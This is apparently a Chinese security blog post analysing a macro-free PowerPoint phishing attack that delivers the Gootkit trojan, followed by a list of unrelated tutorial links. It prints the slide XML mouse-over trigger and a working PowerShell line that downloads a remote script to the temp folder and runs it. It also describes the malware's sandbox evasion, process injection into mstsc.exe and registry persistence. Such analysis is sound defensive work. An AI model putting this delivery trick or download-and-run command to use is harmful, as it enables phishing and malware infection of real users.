新型PPT钓鱼攻击分析(含gootkit木马详细分析)
1 概述
最近出现了一种新型的PPT钓鱼攻击方式,该种钓鱼攻击方式不需要宏就能实现执行powershell的功能,通过网络下载gootkit木马进行控制。
2 分析
样本 MD5:3bff3e4fec2b6030c89e792c05f049fc
在拿到样本我们放到虚拟机中进行执行,可以看到以下,但是这并不会触发攻击
当我们用F5放映这个文档后,并把鼠标放到 Loading…Please wait 这个上面,就可以看到如下的画面,提示我们要启动一个外部程序
这个时候我们在点击启动之后,会看见一个powershell的窗口一闪而过,可以知道样本执行了一段powershell的脚本
我们将样本后缀名改为zip,看看这段powershell 代码在何处,我们最终在pptslides中找到了这段powershell脚本
我们在slide1.xml.rels 中找到这段powershell脚本,我们可以看到Id为rId2,
我们在对应的slide1.xml 中id为rId2 对应的动作位为,当鼠标覆盖时,就触发这个外部事件
<a:hlinkMouseOver r:id="rId2"action="ppaction://program"/>
我们来看看这段powershell 脚本(已还原),可以看到是下载一个php文件放到临时文件夹,并重命名为ii.jse
powershell -NoP -NonI -W Hidden -ExecBypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://'+'cccn.nl/'+'c.php',"$env:tempii.jse");Invoke-Item "$env:tempii.jse""
我们可以看到这个js 文件,这个文件是经过强混淆的作用是下载个exe文件
我们来详细分析下下载到的PE文件
13cdbd8c31155610b628423dc2720419
下图为样本的大致流程
在样本的开始阶段,做了些反模拟机的工作,比如一些错误的函数调用,看返回值是否被修改,执行很多无效指令,来达到模拟机指令的阈值等等
我们来看看这个样本中的sub_41E160中的无效指令
之后一个大的sleep来对抗沙箱,因为很多沙箱是有时间范围的
之后在解密出一段shellcode进行执行,这段shellcode的主要作用就是解密出一个pe文件然后加载运行,解密出的PE文件
将这个PE文件dump出来,看以下基本信息
89509761e2636e2b8a1c6f7ec8823b8f
样本首先会获取当前样本名称和mstsc.exe比较,如果不相同,则进入注入模块
样本首先会创建mstsc.exe
然后通过ZwCreateSection和ZwMapViewOfSection 进行注入,并在注入后,获取启动地址并进行修改
我们手动附加,进行修改,然后修改EIP,进行调试,我们将开始地址修改为下面的样子
由于和原文件代码相同,我们直接到文件名比较的地方,这里比较相同后,首先会获取进程的权限
如果判断是低权限的进程,则会通过ShellExecuteEx 使用管理员权限启动
之后在比较当前进程不是IE和不是任务进程后,打开BIOS注册表,查找是否在虚拟机中
并从系统信息中找到沙箱的蛛丝马迹这个是寻找Sandbox
查找BOCHS
查找的沙箱还有 VBOX 、QEMU、SMCI、Vmware、FTNT-1、VirtualBox、
如果查找到沙箱则进入死循环
然后拷贝自身到如下目录下,重命名位mqnets.exe,并执行
并删除自身
我们看看在拷贝到IE目录下样本会做些什么,在这里比较是在IE目录下的时候,会发生跳转
可以通过伪代码可以发现在通过比较后。会执行一个线程,我们看看这个线程
开头还是一段判断自己是否在虚拟机中
设置了4个环境变量分别是
Standalonemtm true
Vendor_id exe_scheduler_3333
Mainprocessoverride svchost.exe
RandomListenPortBase 6000
这个线程的主要作用是开启下面的5个线程
我们首先看第一个线程,主要作用是连接一个网址
网址为 web.1901ospinosct.com
在连接时候,还包括了探测IE代理的设置,如果发现,进行设置
关闭重定向和加入查询认证(SSL)
将接收的文件内容放到注册中
注册表为 HKEY_CURRENT_USERSoftwarebinaryImage32_0
HKEY_CURRENT_USERSoftwarebinaryImage32_1
第二个线程主要是将第一步下载的创建成文件
将IE的保护模式设置位禁用
第三个线程将文件进行注入
第四个线程主要是保持持久化
创建inf文件
设置启动
使用 IEAKGroupPolicyPendingGPOs key 去保持持久化
第五个线程主要是判断Temp文件是否如下图的文件,如果有壳杀死自身,并删除自身
总结
样本在对抗沙箱和模拟机中有很强的针对性,在持久话方面也很独特,值得研究一下
- WordPress 网站开发“微信小程序”实战(二)
- Extjs form 组件
- Extjs grid 组件
- WordPress 网站开发“微信小程序”实战(三)
- Extjs mvc
- Extjs 数据代理
- WordPress 网站开发“微信小程序”实战(四)
- 详解零知识证明的四大基础技术,如何与以太坊发生反应
- 入门:添加一个支持获取单一资源以及支持POST,PUT和DELETE方法
- html5语义化标签——回顾
- flex布局——回顾
- WordPress 网站开发“微信小程序”实战(五)
- Windows Runtime(WinRT) 揭秘
- WeApp-Workflow: 基于Gulp 的微信小程序前端开发工作流
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法